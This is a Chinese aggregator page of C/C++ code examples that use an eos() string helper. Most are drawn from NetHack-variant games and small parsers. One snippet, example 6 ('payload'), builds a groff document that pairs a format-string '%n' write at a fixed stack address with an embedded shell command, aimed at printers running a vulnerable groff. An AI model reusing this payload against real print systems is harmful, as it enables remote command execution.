本文整理汇总了C++中eos函数的典型用法代码示例。如果您正苦于以下问题:C++ eos函数的具体用法?C++ eos怎么用?C++ eos使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了eos函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: req_nextSection
/* NULL otherwise. */
const char* req_nextSection(REQ_FILE* rf)
{
int i;
if(rf->sect_end==-1) return NULL;
fseek(rf->fd, rf->sect_end, SEEK_SET);
rf->sect_end= -1;
req_readChar(rf);
if(current(rf)!='[') return NULL;
req_readChar(rf);
i= 0;
while(!eos(rf) && (current(rf)!=']') && (i<20)) {
rf->sect_name[i++]= current(rf);
req_readChar(rf);
}
rf->sect_name[i]='\0';
if(current(rf)!=']') return NULL;
req_skipLine(rf);
rf->sect_start= ftell(rf->fd)-1;
while(!eos(rf) && (current(rf)!='[')) req_skipLine(rf);
rf->sect_end= ftell(rf->fd)-1;
fseek(rf->fd, rf->sect_start, SEEK_SET);
req_readChar(rf);
req_skipComment(rf);
return rf->sect_name;
}
示例2: welcome
/* show "welcome [back] to DynaHack" message at program startup */
static void welcome(
boolean new_game) /* false => restoring an old game */
{
char buf[BUFSZ];
boolean currentgend = Upolyd ? u.mfemale : flags.female;
/*
* The "welcome back" message always describes your innate form
* even when polymorphed or wearing a helm of opposite alignment.
* Alignment is shown unconditionally for new games; for restores
* it's only shown if it has changed from its original value.
* Sex is shown for new games except when it is redundant; for
* restores it's only shown if different from its original value.
*/
*buf = '\0';
if (new_game || u.ualignbase[A_ORIGINAL] != u.ualignbase[A_CURRENT])
sprintf(eos(buf), "%s", align_str(u.ualignbase[A_ORIGINAL]));
if (!urole.name.f &&
(new_game ? (urole.allow & ROLE_GENDMASK) == (ROLE_MALE|ROLE_FEMALE) :
currentgend != u.initgend))
sprintf(eos(buf), "%s", genders[currentgend].adj + 2);
pline(new_game ? "%s,%s,欢迎来到LoongHack! 你是%s%s%s。"
: "%s,%s,%s%s%s,欢迎回到LoongHack!",
Hello(NULL), plname, buf, urace.adj,
(currentgend && urole.name.f) ? urole.name.f : urole.name.m + 2);
if (*level->levname)
pline("You named this level: %s.", level->levname);
}
示例3: topten_level_name
/* append the level name to outbuf */
void
topten_level_name(int dnum, int dlev, char *outbuf)
{
if (dnum == astral_level.dnum) {
const char *arg, *fmt = "on the Plane of %s";
switch (dlev) {
case -5:
fmt = "on the %s Plane";
arg = "Astral";
break;
case -4:
arg = "Water";
break;
case -3:
arg = "Fire";
break;
case -2:
arg = "Air";
break;
case -1:
arg = "Earth";
break;
default:
arg = "Void";
break;
}
sprintf(eos(outbuf), fmt, arg);
} else {
sprintf(eos(outbuf), "in %s", dungeons[dnum].dname);
if (dnum != knox_level.dnum)
sprintf(eos(outbuf), " on level %d", dlev);
}
}
示例4: doset
int
doset()
{
char buf[BUFSZ];
pline("What options do you want to set? ");
getlin(buf);
if(!buf[0] || buf[0] == '\033') {
(void) strlcpy(buf,"HACKOPTIONS=", sizeof buf);
(void) strlcat(buf, flags.female ? "female," : "male,", sizeof buf);
if(flags.standout) (void) strlcat(buf,"standout,", sizeof buf);
if(flags.nonull) (void) strlcat(buf,"nonull,", sizeof buf);
if(flags.nonews) (void) strlcat(buf,"nonews,", sizeof buf);
if(flags.time) (void) strlcat(buf,"time,", sizeof buf);
if(flags.notombstone) (void) strlcat(buf,"notombstone,", sizeof buf);
if(flags.no_rest_on_space)
(void) strlcat(buf,"!rest_on_space,", sizeof buf);
if(flags.end_top != 5 || flags.end_around != 4 || flags.end_own){
(void) snprintf(eos(buf), buf + sizeof buf - eos(buf),
"endgame: %u topscores/%u around me",
flags.end_top, flags.end_around);
if(flags.end_own) (void) strlcat(buf, "/own scores", sizeof buf);
} else {
char *eop = eos(buf);
if(*--eop == ',') *eop = 0;
}
pline("%s", buf);
} else
parseoptions(buf, FALSE);
return(0);
}
示例5: curChar
wchar_t curChar(bool allow_change = true){
if(eof())
return '\0';
if(eos() && allow_change){
pop();
return curChar();
}else if(eos())
return '\0';
return data.back()[positions.back()];
}
示例6: sprintf
char *payload(char *cmd,int safer)
{
char *retstr;
char *tmp;
retstr=(char*)malloc(4096);
sprintf(retstr,".PS\n");
// %f is 8 bytes long the two values are \\
// needed. the value was just the first one \\
// that I had in there... it it ain't broke... \\
tmp=eos(retstr);
sprintf(tmp,"plot %5.20f \"%%n\"\n",safer,0xbffffa08);
tmp=eos(retstr);
sprintf(tmp,"sh X%sX\n",cmd);
tmp=eos(retstr);
sprintf(tmp,".PE\n");
tmp=eos(retstr);
sprintf(tmp,"This is the way we hack the printer,\n");
tmp=eos(retstr);
sprintf(tmp,"Hack the printer, hack the printer.\n");
tmp=eos(retstr);
sprintf(tmp,"This is the way we hack the printer,\n");
tmp=eos(retstr);
sprintf(tmp,"when they are running a vulnerable version\n");
tmp=eos(retstr);
sprintf(tmp,"of groff.\n");
tmp=eos(retstr);
return retstr;
}
示例7: while
void BlockIterator::seek(int64_t seekTimeUs) {
mCluster = mSegment->GetCluster(seekTimeUs * 1000ll);
mBlockEntry = mCluster != NULL ? mCluster->GetFirst() : NULL;
while (!eos() && block()->GetTrackNumber() != mTrackNum) {
advance();
}
while (!eos() && !mBlockEntry->GetBlock()->IsKey()) {
advance();
}
}
示例8: return
char *nh_build_plselection_prompt(char *buf, int buflen, int rolenum, int racenum,
int gendnum, int alignnum)
{
const char *defprompt = "需要我帮你选一个角色吗?";
int num_post_attribs = 0;
char tmpbuf[BUFSZ];
if (buflen < QBUFSZ)
return (char *)defprompt;
strcpy(tmpbuf, "需要我选择");
if (racenum != ROLE_NONE || validrole(rolenum))
strcat(tmpbuf, "你的");
else {
strcat(tmpbuf, "一个");
}
/* <your> */
nh_root_plselection_prompt(eos(tmpbuf), buflen - strlen(tmpbuf),
rolenum, racenum, gendnum, alignnum);
sprintf(buf, "%s", s_suffix(tmpbuf));
/* buf should now be:
* < your lawful female gnomish cavewoman's> || <your lawful female gnome's>
* || <your lawful female character's>
*
* Now append the post attributes to it
*/
num_post_attribs = post_attribs;
if (post_attribs) {
if (pa[BP_RACE]) {
promptsep(eos(buf), num_post_attribs);
strcat(buf, "种族");
}
if (pa[BP_ROLE]) {
promptsep(eos(buf), num_post_attribs);
strcat(buf, "角色");
}
if (pa[BP_GEND]) {
promptsep(eos(buf), num_post_attribs);
strcat(buf, "性别");
}
if (pa[BP_ALIGN]) {
promptsep(eos(buf), num_post_attribs);
strcat(buf, "阵营");
}
}
strcat(buf, "吗?");
return buf;
}
示例9: while
string_parse &string_parse::skipwhite()
{
while (!eos() && std::isspace(static_cast<int>(*pos++)))
;
--pos;
return *this;
}
示例10: string
symbol::operator std::string() const{
if( eos() ){
return std::string("\\z");
}else if( bos() ){
return std::string("\\A");
}else if( _val < 30 || _val > 0x7f ){
std::stringstream result;
if( _val > 0xffff ){
result << "\\U";
result.width(6);
}else{
result << "\\u";
result.width(4);
}
result.fill('0');
result << std::right << std::hex << _val;
return result.str();
}else{
std::string result;
if( op() ){
result += "\\";
}
result += static_cast<char>(_val);
return result;
}
}
示例11: strdup
char *msgtype_to_string(const struct nh_msgtype_rules *mt)
{
unsigned int size;
int i;
char *buf, *bp, pattern[120];
if (!mt || mt->num_rules == 0) {
buf = strdup("");
return buf;
}
/* 120 char pattern + 1-digit number + () + "" + , + ; < 128 chars */
size = 128 * mt->num_rules;
buf = malloc(size);
if (!buf)
return NULL;
buf[0] = '\0';
for (i = 0; i < mt->num_rules; i++) {
strncpy(pattern, mt->rules[i].pattern, sizeof(pattern));
pattern[sizeof(pattern) - 1] = '\0';
/* replace '"' and '|' and ';' with '?' to simplify parsing */
for (bp = pattern; *bp; bp++) {
if (*bp == '"' || *bp == '|' || *bp == ';')
*bp = '?';
}
snprintf(eos(buf), 128, "(\"%s\"|%u);", pattern, mt->rules[i].action);
}
return buf;
}
示例12: winCodeList_initcode
/* init code in the code list window */
void winCodeList_initcode(FILE *input)
{
Ycodelist *c = y_code_new(input);
y_code_dump(c);
y_code_map(c);
Ycodelist *cur;
char buf[100];
int i;
GtkTreeIter iter;
for (cur = c; cur; cur = cur->next) {
memset(buf, 0, sizeof(buf));
sprintf(buf, "%08X", cur->code->addr);
gtk_list_store_append(winCodeList.lstCodeList, &iter);
gtk_list_store_set(winCodeList.lstCodeList, &iter,
0, buf,
1, "",
2, cur->code->comment,
3, cur->code->addr,
-1);
memset(buf, 0, sizeof(buf));
for (i = 0; i < cur->code->count; ++i)
sprintf(eos(buf), "%02X", cur->code->ins[i]);
gtk_list_store_set(winCodeList.lstCodeList, &iter,
4, buf, -1);
}
y_code_free(c);
rewind(input);
gtk_tree_view_set_model(winCodeList.tvwCodeList,
GTK_TREE_MODEL(winCodeList.lstCodeList));
}
示例13: ScanPattern
static short
ScanPattern (char *s, short *pindex)
{
small_short side, piece, square;
skipbb(&s); /* skip blanks and comments */
while (is_digit(*s))
{
pattern_data[(*pindex)++] = atoi(s);
skipi(&s);
}
pattern_data[(*pindex)++] = END_OF_LINKS;
skipbb(&s);
while (!eos(s))
{
if (ScanPiece(&s, &side, &piece, &square))
{
return 1;
}
else
{
pattern_data[(*pindex)++] = piece;
pattern_data[(*pindex)++] = (side ? -square : square);
}
}
pattern_data[(*pindex)++] = END_OF_FIELDS;
return 0;
}
示例14: field_count
int FilteredFieldStream::field_count() {
int numflds = 0;
for (;!eos(); next()) {
numflds++;
}
return numflds;
}
示例15: autopickup_to_string
char *
autopickup_to_string(const struct nh_autopickup_rules *ar)
{
int size, i;
char *buf, *bp, pattern[40];
if (!ar || !ar->num_rules) {
buf = strdup("");
return buf;
}
/* at this point, size is an upper bound on the stringified length of ar 3
stringified small numbers + a pattern with up to 40 chars < 64 chars */
size = 64 * ar->num_rules;
buf = malloc(size);
buf[0] = '\0';
for (i = 0; i < ar->num_rules; i++) {
strncpy(pattern, ar->rules[i].pattern, sizeof (pattern));
/* remove '"' and ';' from the pattern by replacing them by '?' (single
character wildcard), to simplify parsing */
bp = pattern;
while (*bp) {
if (*bp == '"' || *bp == ';')
*bp = '?';
bp++;
}
snprintf(eos(buf), 64, "(\"%s\",%d,%u,%u);", pattern,
ar->rules[i].oclass, ar->rules[i].buc, ar->rules[i].action);
}
return buf;
}